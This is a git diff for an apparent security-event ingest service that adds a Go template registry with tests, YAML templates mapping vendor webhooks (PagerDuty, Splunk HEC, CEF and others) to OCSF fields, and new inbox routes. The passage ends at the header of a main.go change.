diff --git a/services/ingest/internal/inbox/template.go b/services/ingest/internal/inbox/template.go
new file mode 100644
index 000000000..2eccde55b
--- /dev/null
+++ b/services/ingest/internal/inbox/template.go
@@ -0,0 +1,175 @@
+package inbox
+
+import (
+ "errors"
+ "fmt"
+ "os"
+ "path/filepath"
+ "strings"
+ "sync"
+
+ "github.com/rs/zerolog/log"
+ "gopkg.in/yaml.v3"
+)
+
+// ErrTemplateNotFound is returned when a token resolves to a template_id
+// that wasn't shipped with the running ingest binary. Handlers translate
+// this to 503 — the URL is valid but the running version of the service
+// can't process it; the operator needs to upgrade the deployment or pick
+// a different template.
+var ErrTemplateNotFound = errors.New("inbox template not registered")
+
+// Template defines how a vendor-specific JSON payload maps onto an OCSF
+// event. Each YAML file in services/ingest/internal/normalizer/templates/
+// produces one Template; the filename stem (without .yaml) is the
+// template_id stored in tenant_inbox_tokens.
+//
+// The mapping language is intentionally minimal — dot-path source field
+// to dot-path OCSF field, plus a small set of severity translations and
+// constants — because the goal is "stamp out webhook adapters in
+// minutes" not "build a general-purpose ETL DSL". Anything more complex
+// belongs in a real connector under services/connectors/app/connectors/.
+type Template struct {
+ // ID is the filename stem — must match tenant_inbox_tokens.template_id.
+ ID string `yaml:"id"`
+ // VendorName / ProductName populate ocsf.metadata.product so
+ // downstream queries can filter by vendor without parsing tenant_uid.
+ VendorName string `yaml:"vendor_name"`
+ ProductName string `yaml:"product_name"`
+
+ // OCSFClass identifies the destination OCSF class (Authentication,
+ // Security Finding, etc). We carry both the numeric class_uid and the
+ // human-readable class_name to keep the published event self-describing.
+ ClassUID int `yaml:"class_uid"`
+ ClassName string `yaml:"class_name"`
+
+ // Activity overrides the default activity_id (1 = "Create") — useful
+ // for auth events where vendor traffic is mostly login/logout.
+ ActivityID int `yaml:"activity_id,omitempty"`
+
+ // FieldMap projects vendor JSON paths onto OCSF JSON paths. Both
+ // sides use dot notation; arrays are addressed with `[N]`.
+ FieldMap map[string]string `yaml:"field_map"`
+
+ // SeverityMap translates vendor severity strings (case-insensitive)
+ // to OCSF severity_id 0-6. The key is normalised to lower-case at
+ // load time.
+ SeverityMap map[string]int `yaml:"severity_map,omitempty"`
+
+ // SeverityField — JSON path to the vendor's severity string. Default
+ // "severity"; templates override for vendors that use "priority"
+ // (PagerDuty), "level" (Cloudflare), etc.
+ SeverityField string `yaml:"severity_field,omitempty"`
+
+ // TimeField — JSON path to the vendor's event time. Default "time";
+ // templates override for vendors that use "timestamp", "@timestamp",
+ // "created_at", etc.
+ TimeField string `yaml:"time_field,omitempty"`
+
+ // MessageField — JSON path the wizard's "what happened" line is
+ // pulled from. Default "message".
+ MessageField string `yaml:"message_field,omitempty"`
+
+ // Constants — fields stamped onto every event regardless of payload.
+ // Useful for vendor-specific tags ("source": "pagerduty.events.v2")
+ // that downstream detection content keys on.
+ Constants map[string]any `yaml:"constants,omitempty"`
+}
+
+// Registry holds the loaded templates indexed by ID.
+//
+// Templates are loaded once at startup; the registry is read-only after
+// that, so we can serve concurrent webhooks without a mutex.
+type Registry struct {
+ mu sync.RWMutex
+ templates map[string]*Template
+}
+
+// NewRegistry returns an empty registry. Call Load() to populate from disk.
+func NewRegistry() *Registry {
+ return &Registry{templates: make(map[string]*Template)}
+}
+
+// Load reads every *.yaml file in dir and registers it as a template.
+// Files with malformed YAML are logged and skipped so a typo in one
+// template doesn't take down the whole ingest service.
+//
+// dir is typically baked into the container image at
+// /app/templates, but tests override to use a tmpdir.
+func (r *Registry) Load(dir string) error {
+ entries, err := os.ReadDir(dir)
+ if err != nil {
+ return fmt.Errorf("inbox: read template dir %s: %w", dir, err)
+ }
+
+ loaded := 0
+ for _, e := range entries {
+ if e.IsDir() {
+ continue
+ }
+ name := e.Name()
+ if !strings.HasSuffix(name, ".yaml") && !strings.HasSuffix(name, ".yml") {
+ continue
+ }
+ path := filepath.Join(dir, name)
+ raw, err := os.ReadFile(path)
+ if err != nil {
+ log.Warn().Err(err).Str("path", path).Msg("inbox: skipping unreadable template")
+ continue
+ }
+ t := &Template{}
+ if err := yaml.Unmarshal(raw, t); err != nil {
+ log.Warn().Err(err).Str("path", path).Msg("inbox: malformed template YAML")
+ continue
+ }
+ // Default the ID to the filename stem — operators usually leave
+ // the explicit `id:` blank and rely on the convention.
+ if t.ID == "" {
+ t.ID = strings.TrimSuffix(strings.TrimSuffix(name, ".yaml"), ".yml")
+ }
+ // Normalise severity keys.
+ if len(t.SeverityMap) > 0 {
+ normalised := make(map[string]int, len(t.SeverityMap))
+ for k, v := range t.SeverityMap {
+ normalised[strings.ToLower(strings.TrimSpace(k))] = v
+ }
+ t.SeverityMap = normalised
+ }
+
+ r.mu.Lock()
+ r.templates[t.ID] = t
+ r.mu.Unlock()
+ loaded++
+ }
+ log.Info().Int("count", loaded).Str("dir", dir).Msg("inbox: templates loaded")
+ return nil
+}
+
+// Get returns a template by ID, or ErrTemplateNotFound.
+func (r *Registry) Get(id string) (*Template, error) {
+ r.mu.RLock()
+ t, ok := r.templates[id]
+ r.mu.RUnlock()
+ if !ok {
+ return nil, ErrTemplateNotFound
+ }
+ return t, nil
+}
+
+// Register inserts a template programmatically. Used by tests.
+func (r *Registry) Register(t *Template) {
+ r.mu.Lock()
+ r.templates[t.ID] = t
+ r.mu.Unlock()
+}
+
+// IDs returns the registered template IDs (for debug/introspection).
+func (r *Registry) IDs() []string {
+ r.mu.RLock()
+ defer r.mu.RUnlock()
+ out := make([]string, 0, len(r.templates))
+ for k := range r.templates {
+ out = append(out, k)
+ }
+ return out
+}
diff --git a/services/ingest/internal/inbox/template_test.go b/services/ingest/internal/inbox/template_test.go
new file mode 100644
index 000000000..9997a269f
--- /dev/null
+++ b/services/ingest/internal/inbox/template_test.go
@@ -0,0 +1,199 @@
+package inbox
+
+import (
+ "errors"
+ "os"
+ "path/filepath"
+ "strings"
+ "testing"
+)
+
+// Registry tests focus on the load-from-disk contract because that's
+// where the operator-facing failure modes live: a typo in one YAML
+// file must not poison the whole registry, and severity keys must be
+// case-folded so vendors that send "High" / "HIGH" / "high" all hit the
+// same lookup.
+
+func writeTemplate(t *testing.T, dir, name, body string) {
+ t.Helper()
+ path := filepath.Join(dir, name)
+ if err := os.WriteFile(path, []byte(body), 0o600); err != nil {
+ t.Fatalf("write %s: %v", path, err)
+ }
+}
+
+func TestRegistry_Load_ReadsValidTemplates(t *testing.T) {
+ dir := t.TempDir()
+ writeTemplate(t, dir, "pagerduty.yaml", `
+vendor_name: PagerDuty
+product_name: Events API v2
+class_uid: 2001
+class_name: Security Finding
+field_map:
+ event.id: metadata.event_id
+ event.title: finding.title
+severity_field: event.urgency
+severity_map:
+ low: 2
+ high: 4
+ critical: 5
+constants:
+ source: pagerduty.events.v2
+`)
+ writeTemplate(t, dir, "opsgenie.yaml", `
+vendor_name: Atlassian Opsgenie
+product_name: Webhook v2
+class_uid: 2001
+class_name: Security Finding
+field_map:
+ alert.alertId: metadata.event_id
+`)
+
+ r := NewRegistry()
+ if err := r.Load(dir); err != nil {
+ t.Fatalf("Load failed: %v", err)
+ }
+
+ pd, err := r.Get("pagerduty")
+ if err != nil {
+ t.Fatalf("Get(pagerduty) failed: %v", err)
+ }
+ if pd.VendorName != "PagerDuty" {
+ t.Errorf("vendor_name = %q", pd.VendorName)
+ }
+ if pd.ClassUID != 2001 {
+ t.Errorf("class_uid = %d", pd.ClassUID)
+ }
+ if pd.FieldMap["event.id"] != "metadata.event_id" {
+ t.Errorf("field_map missing or wrong: %v", pd.FieldMap)
+ }
+
+ if _, err := r.Get("opsgenie"); err != nil {
+ t.Errorf("Get(opsgenie) failed: %v", err)
+ }
+
+ ids := r.IDs()
+ if len(ids) != 2 {
+ t.Errorf("IDs() = %v, want 2 entries", ids)
+ }
+}
+
+func TestRegistry_Load_DefaultsIDFromFilename(t *testing.T) {
+ // Operators rarely set an explicit `id:` — the filename stem is the
+ // convention. Verify the registry honours it.
+ dir := t.TempDir()
+ writeTemplate(t, dir, "github-security-advisory.yaml", `
+vendor_name: GitHub
+class_uid: 2002
+class_name: Vulnerability Finding
+field_map: {}
+`)
+ r := NewRegistry()
+ if err := r.Load(dir); err != nil {
+ t.Fatalf("Load failed: %v", err)
+ }
+ if _, err := r.Get("github-security-advisory"); err != nil {
+ t.Errorf("ID not derived from filename: %v", err)
+ }
+}
+
+func TestRegistry_Load_NormalisesSeverityKeys(t *testing.T) {
+ // Vendor severity strings come in every casing imaginable; the load
+ // step lowercases keys so the runtime lookup with strings.ToLower
+ // always hits.
+ dir := t.TempDir()
+ writeTemplate(t, dir, "shouty.yaml", `
+class_uid: 2001
+class_name: Security Finding
+field_map: {}
+severity_map:
+ CRITICAL: 5
+ " High ": 4
+ low: 2
+`)
+ r := NewRegistry()
+ if err := r.Load(dir); err != nil {
+ t.Fatalf("Load failed: %v", err)
+ }
+ tmpl, _ := r.Get("shouty")
+ if tmpl.SeverityMap["critical"] != 5 {
+ t.Errorf("CRITICAL not folded to lowercase: %v", tmpl.SeverityMap)
+ }
+ if tmpl.SeverityMap["high"] != 4 {
+ t.Errorf("' High ' not trimmed/folded: %v", tmpl.SeverityMap)
+ }
+ if _, ok := tmpl.SeverityMap["CRITICAL"]; ok {
+ t.Errorf("uppercase key still present: %v", tmpl.SeverityMap)
+ }
+}
+
+func TestRegistry_Load_SkipsMalformedYAMLWithoutFailingTheRest(t *testing.T) {
+ // One typo in pagerduty.yaml must not take down opsgenie.yaml — that's
+ // what makes the registry safe to populate from a community-contributed
+ // /app/templates dir.
+ dir := t.TempDir()
+ writeTemplate(t, dir, "broken.yaml", "this: is: not valid: yaml: ::::")
+ writeTemplate(t, dir, "good.yaml", `
+class_uid: 2001
+class_name: Security Finding
+field_map: {}
+`)
+ r := NewRegistry()
+ if err := r.Load(dir); err != nil {
+ t.Fatalf("Load returned error despite skip-on-bad-yaml contract: %v", err)
+ }
+ if _, err := r.Get("good"); err != nil {
+ t.Errorf("good template missing after broken sibling: %v", err)
+ }
+ if _, err := r.Get("broken"); err == nil {
+ t.Errorf("broken template should not be registered")
+ }
+}
+
+func TestRegistry_Load_IgnoresNonYAMLFiles(t *testing.T) {
+ dir := t.TempDir()
+ writeTemplate(t, dir, "README.md", "# templates")
+ writeTemplate(t, dir, "config.json", `{"id":"x"}`)
+ writeTemplate(t, dir, "good.yml", `
+class_uid: 2001
+class_name: Security Finding
+field_map: {}
+`)
+ r := NewRegistry()
+ if err := r.Load(dir); err != nil {
+ t.Fatalf("Load failed: %v", err)
+ }
+ if len(r.IDs()) != 1 {
+ t.Errorf("non-YAML files leaked in: %v", r.IDs())
+ }
+}
+
+func TestRegistry_Load_ErrorsOnMissingDir(t *testing.T) {
+ r := NewRegistry()
+ err := r.Load("/nonexistent/template/dir/" + strings.Repeat("x", 10))
+ if err == nil {
+ t.Fatalf("expected error for missing dir")
+ }
+}
+
+func TestRegistry_Get_UnknownReturnsErrTemplateNotFound(t *testing.T) {
+ r := NewRegistry()
+ _, err := r.Get("does-not-exist")
+ if !errors.Is(err, ErrTemplateNotFound) {
+ t.Errorf("err = %v, want ErrTemplateNotFound", err)
+ }
+}
+
+func TestRegistry_Register_AllowsTestsToInjectInMemory(t *testing.T) {
+ // Test-only path. Confirms tests can register a template without a
+ // real YAML file on disk — used by handler_test and apply_test.
+ r := NewRegistry()
+ r.Register(&Template{ID: "synthetic", ClassUID: 2001, ClassName: "Security Finding"})
+ got, err := r.Get("synthetic")
+ if err != nil {
+ t.Fatalf("Get(synthetic) failed: %v", err)
+ }
+ if got.ClassUID != 2001 {
+ t.Errorf("registered template not returned: %#v", got)
+ }
+}
diff --git a/services/ingest/internal/normalizer/templates/aws-eventbridge.yaml b/services/ingest/internal/normalizer/templates/aws-eventbridge.yaml
new file mode 100644
index 000000000..f3eec629a
--- /dev/null
+++ b/services/ingest/internal/normalizer/templates/aws-eventbridge.yaml
@@ -0,0 +1,40 @@
+# AWS EventBridge event template.
+#
+# EventBridge events arrive in a standard envelope (version, source,
+# detail-type, detail, ...) regardless of the producing service. The
+# detail field carries service-specific shape — GuardDuty, Security
+# Hub, Inspector, Macie, etc. We pull common identity / context fields
+# off the envelope and let the detail object pass through as evidence.
+#
+# Reference:
+# https://docs.aws.amazon.com/eventbridge/latest/userguide/eb-events.html
+id: aws-eventbridge
+vendor_name: AWS
+product_name: AWS EventBridge
+class_uid: 2001
+class_name: Security Finding
+activity_id: 1
+field_map:
+ id: finding.uid
+ detail-type: finding.title
+ source: finding.product.name
+ account: cloud.account.uid
+ region: cloud.region
+ detail.title: finding.title
+ detail.description: finding.description
+ detail.type: finding.types
+ detail.severity: severity
+ detail.findingArn: finding.related_events.id
+ detail.id: finding.related_events.uid
+severity_field: detail.severity
+severity_map:
+ INFORMATIONAL: 1
+ LOW: 2
+ MEDIUM: 3
+ HIGH: 4
+ CRITICAL: 5
+time_field: time
+message_field: detail-type
+constants:
+ source_type: aws-eventbridge
+ cloud.provider: AWS
diff --git a/services/ingest/internal/normalizer/templates/aws-sns.yaml b/services/ingest/internal/normalizer/templates/aws-sns.yaml
new file mode 100644
index 000000000..3dbfc6535
--- /dev/null
+++ b/services/ingest/internal/normalizer/templates/aws-sns.yaml
@@ -0,0 +1,39 @@
+# AWS SNS notification template.
+#
+# When SNS fans an alert out to AiSOC, the body is the SNS envelope
+# wrapping a Message string that's typically itself JSON. The inbox
+# handler unwraps that Message before applying this template, so paths
+# below address the inner payload (after JSON-decode of Message).
+#
+# Common emitters:
+# - GuardDuty findings forwarded via SNS topic
+# - Security Hub findings forwarded via SNS
+# - CloudWatch alarms in OK/ALARM state
+#
+# Reference:
+# https://docs.aws.amazon.com/sns/latest/dg/sns-message-and-json-formats.html
+id: aws-sns
+vendor_name: AWS
+product_name: AWS SNS
+class_uid: 2001
+class_name: Security Finding
+activity_id: 1
+field_map:
+ Subject: finding.title
+ Message: finding.description
+ TopicArn: source
+ MessageId: finding.uid
+ AlarmName: finding.title
+ AlarmDescription: finding.description
+ NewStateReason: message
+ Region: cloud.region
+severity_field: NewStateValue
+severity_map:
+ OK: 1
+ INSUFFICIENT_DATA: 2
+ ALARM: 4
+time_field: Timestamp
+message_field: Message
+constants:
+ source_type: aws-sns
+ cloud.provider: AWS
diff --git a/services/ingest/internal/normalizer/templates/cef-syslog.yaml b/services/ingest/internal/normalizer/templates/cef-syslog.yaml
new file mode 100644
index 000000000..c21ab1777
--- /dev/null
+++ b/services/ingest/internal/normalizer/templates/cef-syslog.yaml
@@ -0,0 +1,56 @@
+# Common Event Format (CEF) syslog template.
+#
+# Used by the /v1/inbox/cef route. The handler parses the CEF prefix
+# (CEF:Version|DeviceVendor|DeviceProduct|DeviceVersion|SignatureID|
+# Name|Severity|Extension) and the key=value extension into a flat
+# map before invoking this template.
+#
+# Reference:
+# https://docs.fortinet.com/document/fortianalyzer/7.4.0/cef-reference
+# https://www.microfocus.com/documentation/arcsight/arcsight-smartconnectors-8.4/cef-implementation-standard/
+id: cef-syslog
+vendor_name: CEF
+product_name: CEF Syslog
+class_uid: 2001
+class_name: Security Finding
+activity_id: 1
+field_map:
+ DeviceVendor: metadata.product.vendor_name
+ DeviceProduct: metadata.product.name
+ DeviceVersion: metadata.product.version
+ SignatureID: finding.related_events.id
+ Name: finding.title
+ msg: message
+ src: src_endpoint.ip
+ dst: dst_endpoint.ip
+ spt: src_endpoint.port
+ dpt: dst_endpoint.port
+ suser: actor.user.name
+ duser: target_user.name
+ shost: src_endpoint.hostname
+ dhost: dst_endpoint.hostname
+ cs1: finding.evidence.process
+ externalId: finding.uid
+ act: activity_name
+ cat: finding.types
+severity_field: Severity
+severity_map:
+ "0": 1
+ "1": 1
+ "2": 2
+ "3": 2
+ "4": 3
+ "5": 3
+ "6": 4
+ "7": 4
+ "8": 5
+ "9": 5
+ "10": 6
+ Low: 2
+ Medium: 3
+ High: 4
+ Very-High: 5
+time_field: rt
+message_field: msg
+constants:
+ source_type: cef-syslog
diff --git a/services/ingest/internal/normalizer/templates/cloudflare-logpush.yaml b/services/ingest/internal/normalizer/templates/cloudflare-logpush.yaml
new file mode 100644
index 000000000..20ddc59b2
--- /dev/null
+++ b/services/ingest/internal/normalizer/templates/cloudflare-logpush.yaml
@@ -0,0 +1,45 @@
+# Cloudflare Logpush HTTP destination template.
+#
+# Logpush ships newline-delimited JSON to an HTTP endpoint. The inbox
+# handler splits ND-JSON into individual events before applying this
+# template. The shape varies per dataset (http_requests, firewall_events,
+# zero_trust_network_sessions, etc.); this template covers firewall +
+# WAF events, which is the most common security feed.
+#
+# Reference:
+# https://developers.cloudflare.com/logs/logpush/logpush-job/datasets/
+# https://developers.cloudflare.com/logs/reference/log-fields/
+id: cloudflare-logpush
+vendor_name: Cloudflare
+product_name: Cloudflare Logpush
+class_uid: 4001
+class_name: Network Activity
+activity_id: 6
+field_map:
+ RayID: finding.uid
+ Action: activity_name
+ ClientIP: src_endpoint.ip
+ ClientCountry: src_endpoint.location.country
+ ClientASN: src_endpoint.autonomous_system.number
+ ClientASNDescription: src_endpoint.autonomous_system.name
+ ClientRequestHost: dst_endpoint.hostname
+ ClientRequestPath: http_request.url.path
+ ClientRequestMethod: http_request.http_method
+ ClientRequestUserAgent: http_request.user_agent
+ EdgeResponseStatus: http_response.code
+ RuleID: finding.related_events.id
+ RuleMessage: message
+ Source: source
+ ZoneName: dst_endpoint.domain
+severity_field: Action
+severity_map:
+ log: 1
+ challenge: 2
+ jschallenge: 2
+ managed_challenge: 2
+ block: 4
+time_field: EdgeStartTimestamp
+message_field: RuleMessage
+constants:
+ source_type: cloudflare-logpush
+ metadata.product.vendor_name: Cloudflare
diff --git a/services/ingest/internal/normalizer/templates/email-forwarded.yaml b/services/ingest/internal/normalizer/templates/email-forwarded.yaml
new file mode 100644
index 000000000..4b3c44281
--- /dev/null
+++ b/services/ingest/internal/normalizer/templates/email-forwarded.yaml
@@ -0,0 +1,47 @@
+# Forwarded email template.
+#
+# Used by the /v1/inbox/email route. The handler is fronted by an
+# email-to-HTTP relay (SES, SendGrid Inbound Parse, Postmark, Mailgun,
+# etc.) that normalizes a raw RFC 5322 message into JSON of roughly
+# the shape:
+# {
+# "from": "[email protected]",
+# "to": "[email protected]",
+# "subject": "...",
+# "text": "...plain text body...",
+# "html": "...html body...",
+# "headers": {...},
+# "received_at": "...",
+# "attachments": [...]
+# }
+#
+# This template is the catch-all for vendors without a structured
+# email format. The defender-XDR-style structured emails should match
+# microsoft-defender-email instead.
+id: email-forwarded
+vendor_name: Email
+product_name: Forwarded Email
+class_uid: 2001
+class_name: Security Finding
+activity_id: 1
+field_map:
+ subject: finding.title
+ text: finding.description
+ from: source
+ message_id: finding.uid
+ headers.Message-ID: finding.uid
+ headers.Subject: finding.title
+ headers.From: actor.user.email_addr
+ headers.To: target_user.email_addr
+ headers.X-Priority: severity
+ to: target_user.email_addr
+severity_field: priority
+severity_map:
+ low: 2
+ normal: 3
+ high: 4
+ urgent: 5
+time_field: received_at
+message_field: text
+constants:
+ source_type: email-forwarded
diff --git a/services/ingest/internal/normalizer/templates/generic-json.yaml b/services/ingest/internal/normalizer/templates/generic-json.yaml
new file mode 100644
index 000000000..09bb7df4d
--- /dev/null
+++ b/services/ingest/internal/normalizer/templates/generic-json.yaml
@@ -0,0 +1,35 @@
+# Generic JSON inbox template — fallback for any vendor without a
+# dedicated mapping. Pulls common-shape fields if present and stamps
+# everything else as raw_data so detection content can still pivot.
+#
+# Operators reach for this template when they have a webhook source
+# that doesn't match anything in the catalog; better to ingest with a
+# best-effort projection than refuse the event.
+id: generic-json
+vendor_name: Generic
+product_name: Generic JSON
+class_uid: 2001
+class_name: Security Finding
+activity_id: 1
+field_map:
+ title: finding.title
+ message: message
+ description: finding.description
+ source: source
+ url: url
+ alert_id: finding.uid
+ id: finding.uid
+severity_field: severity
+severity_map:
+ info: 1
+ informational: 1
+ low: 2
+ medium: 3
+ warning: 3
+ high: 4
+ critical: 5
+ fatal: 6
+time_field: timestamp
+message_field: message
+constants:
+ source_type: generic-json
diff --git a/services/ingest/internal/normalizer/templates/github-security-advisory.yaml b/services/ingest/internal/normalizer/templates/github-security-advisory.yaml
new file mode 100644
index 000000000..9f01e4c85
--- /dev/null
+++ b/services/ingest/internal/normalizer/templates/github-security-advisory.yaml
@@ -0,0 +1,39 @@
+# GitHub security advisory / Dependabot alert webhook template.
+#
+# Triggered by repository_advisory and dependabot_alert events. We
+# project these onto an OCSF Vulnerability Finding (class 2002) so they
+# land in the same lake bucket as Tenable / Wiz / Qualys output.
+#
+# Reference:
+# https://docs.github.com/en/webhooks/webhook-events-and-payloads#dependabot_alert
+# https://docs.github.com/en/webhooks/webhook-events-and-payloads#repository_advisory
+id: github-security-advisory
+vendor_name: GitHub
+product_name: GitHub Security
+class_uid: 2002
+class_name: Vulnerability Finding
+activity_id: 1
+field_map:
+ alert.security_advisory.summary: finding.title
+ alert.security_advisory.description: finding.description
+ alert.security_advisory.cve_id: vulnerabilities.cve.uid
+ alert.security_advisory.ghsa_id: finding.uid
+ alert.html_url: url
+ alert.number: finding.related_events.id
+ alert.dependency.package.name: vulnerabilities.affected_packages.name
+ alert.dependency.package.ecosystem: vulnerabilities.affected_packages.package_manager
+ alert.security_vulnerability.vulnerable_version_range: vulnerabilities.affected_packages.version
+ repository.full_name: source
+ repository.html_url: finding.product.url_string
+ action: activity_name
+severity_field: alert.security_advisory.severity
+severity_map:
+ low: 2
+ moderate: 3
+ high: 4
+ critical: 5
+time_field: alert.created_at
+message_field: alert.security_advisory.summary
+constants:
+ source_type: github-security-advisory
+ metadata.product.vendor_name: GitHub
diff --git a/services/ingest/internal/normalizer/templates/microsoft-defender-email.yaml b/services/ingest/internal/normalizer/templates/microsoft-defender-email.yaml
new file mode 100644
index 000000000..7d10c38fb
--- /dev/null
+++ b/services/ingest/internal/normalizer/templates/microsoft-defender-email.yaml
@@ -0,0 +1,39 @@
+# Microsoft Defender for Office 365 / XDR alert email template.
+#
+# Captures the structured payload that Defender posts as a JSON blob
+# inside its forwarded incident notification email. The /v1/inbox/email
+# path peels the JSON out of the message body before invoking this
+# template; if you want to forward the raw email instead, use the
+# email-forwarded template, which preserves the .eml.
+#
+# Reference:
+# https://learn.microsoft.com/en-us/microsoft-365/security/defender/api-overview
+id: microsoft-defender-email
+vendor_name: Microsoft
+product_name: Microsoft Defender XDR
+class_uid: 2001
+class_name: Security Finding
+activity_id: 1
+field_map:
+ alertId: finding.uid
+ title: finding.title
+ description: finding.description
+ category: finding.types
+ detectionSource: source
+ alertWebUrl: url
+ threatFamilyName: finding.evidence.process
+ serviceSource: finding.product.name
+ incidentId: finding.related_events.id
+ status: status
+severity_field: severity
+severity_map:
+ Informational: 1
+ Low: 2
+ Medium: 3
+ High: 4
+time_field: firstActivity
+message_field: title
+constants:
+ source_type: microsoft-defender-email
+ metadata.product.vendor_name: Microsoft
+ metadata.product.name: Microsoft Defender XDR
diff --git a/services/ingest/internal/normalizer/templates/opsgenie.yaml b/services/ingest/internal/normalizer/templates/opsgenie.yaml
new file mode 100644
index 000000000..c74d45a0e
--- /dev/null
+++ b/services/ingest/internal/normalizer/templates/opsgenie.yaml
@@ -0,0 +1,37 @@
+# Atlassian Opsgenie alert action webhook template.
+#
+# Opsgenie ships a flat alert object on each action (Create, Acknowledge,
+# Close, AddNote). We project it onto an OCSF Security Finding and pass
+# the action name through as activity_name so detection content can
+# distinguish a fresh alert from a closure.
+#
+# Reference:
+# https://support.atlassian.com/opsgenie/docs/integrations-with-incoming-webhooks/
+id: opsgenie
+vendor_name: Atlassian
+product_name: Opsgenie
+class_uid: 2001
+class_name: Security Finding
+activity_id: 1
+field_map:
+ alert.alertId: finding.uid
+ alert.message: finding.title
+ alert.description: finding.description
+ alert.alias: finding.related_events.id
+ alert.source: source
+ alert.entity: finding.evidence.process
+ alert.tags: finding.types
+ action: activity_name
+ alert.tinyId: finding.related_events.uid
+ alert.team: finding.product.name
+severity_field: alert.priority
+severity_map:
+ P1: 5
+ P2: 4
+ P3: 3
+ P4: 2
+ P5: 1
+time_field: alert.createdAt
+message_field: alert.message
+constants:
+ source_type: opsgenie
diff --git a/services/ingest/internal/normalizer/templates/pagerduty.yaml b/services/ingest/internal/normalizer/templates/pagerduty.yaml
new file mode 100644
index 000000000..c7b0dc957
--- /dev/null
+++ b/services/ingest/internal/normalizer/templates/pagerduty.yaml
@@ -0,0 +1,34 @@
+# PagerDuty Events API v2 webhook template.
+#
+# Maps the v2 webhook envelope (event.data.{title,urgency,...}) onto an
+# OCSF Security Finding so that PagerDuty incidents flow into the same
+# detection / response surface as native AiSOC alerts.
+#
+# References:
+# https://developer.pagerduty.com/docs/db0fa8c8984fc-overview
+# https://developer.pagerduty.com/docs/ZG9jOjQ1MjU0Njc1-incident-payload-v2
+id: pagerduty
+vendor_name: PagerDuty
+product_name: PagerDuty
+class_uid: 2001
+class_name: Security Finding
+activity_id: 1
+field_map:
+ event.data.title: finding.title
+ event.data.summary: message
+ event.data.description: finding.description
+ event.data.html_url: url
+ event.data.id: finding.uid
+ event.data.incident_number: finding.related_events.id
+ event.data.service.summary: finding.product.name
+ event.data.assignees: finding.evidence.process
+ event.event_type: activity_name
+severity_field: event.data.urgency
+severity_map:
+ high: 4
+ low: 2
+time_field: event.occurred_at
+message_field: event.data.summary
+constants:
+ source_type: pagerduty
+ metadata.product.feature.name: events.v2
diff --git a/services/ingest/internal/normalizer/templates/splunk-hec.yaml b/services/ingest/internal/normalizer/templates/splunk-hec.yaml
new file mode 100644
index 000000000..0711ee41e
--- /dev/null
+++ b/services/ingest/internal/normalizer/templates/splunk-hec.yaml
@@ -0,0 +1,59 @@
+# Splunk HTTP Event Collector (HEC) template.
+#
+# Used by the /v1/inbox/hec route, which speaks the Splunk HEC wire
+# protocol so that any tool with "send to Splunk HEC" can ship events
+# to AiSOC unchanged. The HEC envelope is:
+# {"time": 169..., "host": "...", "source": "...", "sourcetype": "...",
+# "index": "...", "event": {...}}
+#
+# We treat the inner `event` payload as the security finding body and
+# pull host/source/sourcetype as metadata. If the event is a string we
+# treat it as the message.
+#
+# Reference:
+# https://docs.splunk.com/Documentation/Splunk/latest/Data/FormateventsforHTTPEventCollector
+id: splunk-hec
+vendor_name: Splunk
+product_name: Splunk HEC
+class_uid: 2001
+class_name: Security Finding
+activity_id: 1
+field_map:
+ event.title: finding.title
+ event.description: finding.description
+ event.message: message
+ event.signature: finding.related_events.id
+ event.id: finding.uid
+ event.alert_id: finding.uid
+ event.url: url
+ event.src_ip: src_endpoint.ip
+ event.dst_ip: dst_endpoint.ip
+ event.user: actor.user.name
+ event.process: finding.evidence.process
+ event.action: activity_name
+ host: src_endpoint.hostname
+ source: source
+ sourcetype: metadata.product.feature.name
+ index: metadata.product.name
+severity_field: event.severity
+severity_map:
+ info: 1
+ informational: 1
+ low: 2
+ medium: 3
+ notice: 3
+ warning: 3
+ high: 4
+ error: 4
+ critical: 5
+ fatal: 6
+ "1": 1
+ "2": 2
+ "3": 3
+ "4": 4
+ "5": 5
+time_field: time
+message_field: event.message
+constants:
+ source_type: splunk-hec
+ metadata.product.vendor_name: Splunk
diff --git a/services/ingest/internal/server/server.go b/services/ingest/internal/server/server.go
index 2f9a766cf..630261497 100644
--- a/services/ingest/internal/server/server.go
+++ b/services/ingest/internal/server/server.go
@@ -9,6 +9,7 @@ import (
"github.com/beenuar/aisoc/services/ingest/internal/config"
"github.com/beenuar/aisoc/services/ingest/internal/handler"
+ "github.com/beenuar/aisoc/services/ingest/internal/inbox"
"github.com/go-chi/chi/v5"
"github.com/go-chi/chi/v5/middleware"
"github.com/go-chi/cors"
@@ -21,8 +22,14 @@ type Server struct {
httpServer *http.Server
}
-// New creates a new server with routing configured
-func New(cfg *config.Config, h *handler.Handler) *Server {
+// New creates a new server with routing configured.
+//
+// inboxHandler is optional — if Postgres isn't reachable at startup we
+// still want /v1/ingest to keep working, so server.New tolerates a nil
+// inbox handler and just doesn't mount the universal-capture routes.
+// In production both handlers are wired; in dev without DATABASE_DSN
+// only the connector path is up.
+func New(cfg *config.Config, h *handler.Handler, inboxHandler *inbox.Handler) *Server {
r := chi.NewRouter()
// Middleware
@@ -33,7 +40,7 @@ func New(cfg *config.Config, h *handler.Handler) *Server {
r.Use(cors.Handler(cors.Options{
AllowedOrigins: []string{"*"},
AllowedMethods: []string{"GET", "POST", "OPTIONS"},
- AllowedHeaders: []string{"Accept", "Authorization", "Content-Type", "X-Tenant-ID"},
+ AllowedHeaders: []string{"Accept", "Authorization", "Content-Type", "X-Tenant-ID", "X-Inbox-Token", "X-Splunk-Token", "X-Signature", "X-Hub-Signature-256"},
AllowCredentials: false,
MaxAge: 300,
}))
@@ -45,6 +52,22 @@ func New(cfg *config.Config, h *handler.Handler) *Server {
r.Route("/v1", func(r chi.Router) {
r.Post("/ingest", h.IngestEvents)
r.Post("/ingest/batch", h.IngestEvents)
+
+ // Workstream 6 — universal capture push paths.
+ // /v1/inbox/{token} → generic JSON or NDJSON webhook
+ // /v1/inbox/email/{token} → email-relay JSON envelope
+ // /v1/inbox/cef → CEF syslog over HTTP (token in header)
+ // /v1/inbox/hec → Splunk HEC-compatible (token in header)
+ if inboxHandler != nil {
+ r.Route("/inbox", func(r chi.Router) {
+ r.Post("/cef", inboxHandler.ServeCEF)
+ r.Post("/hec", inboxHandler.ServeHEC)
+ r.Post("/email/{token}", inboxHandler.ServeEmail)
+ r.Post("/{token}", inboxHandler.ServeJSON)
+ })
+ } else {
+ log.Warn().Msg("inbox routes disabled (no Postgres pool wired)")
+ }
})
return &Server{
diff --git a/services/ingest/main.go b/services/ingest/main.go
index e37eb56d7..41b6333cb 100644
--- a/services/ingest/main.go
+++ b/services/ingest/main.go
